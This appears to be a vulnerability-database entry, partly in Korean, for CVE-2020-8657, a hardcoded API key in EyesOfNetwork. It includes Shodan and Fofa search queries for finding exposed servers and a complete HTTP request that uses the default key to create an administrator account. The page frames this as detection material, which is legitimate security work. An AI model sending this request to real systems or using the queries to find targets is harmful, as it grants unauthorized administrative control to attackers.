🔙 목록으로 돌아가기

CVE-2020-8657: EyesOfNetwork - Hardcoded API Key

TitleEyesOfNetwork - Hardcoded API Key
Authordaffainfo
SeverityCritical
ImpactSuccessful exploitation allows an attacker to create administrative users and gain unauthorized access to the EyesOfNetwork management system.
RemediationUpgrade to a newer version of EyesOfNetwork or change the default hardcoded API key in the configuration.
CVSS Score9.8
EPSS Score0.86393
CVE IDCVE-2020-8657
CWE IDCWE-798
Shodan Queryhtml:"EyesOfNetwork"
Fofa Querytitle="EyesOfNetwork"
Tags cve cve2020 eyesofnetwork hardcoded-key kev vkev vuln

🔍 Vulnerability Description

An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.

🌐 HTTP Request

POST /eonapi/createEonUser?username=admin&apiKey=1ce6860c09b9842215f56c540bccaeb549579a6fe319276ae96b7cae8e6e6469 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Content-Length: 71
Content-Type: application/json
Accept-Encoding: gzip

{"user_name":"CumqHZ","user_group":"admins","user_password":"aErC7QZf"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8657.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-8657.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A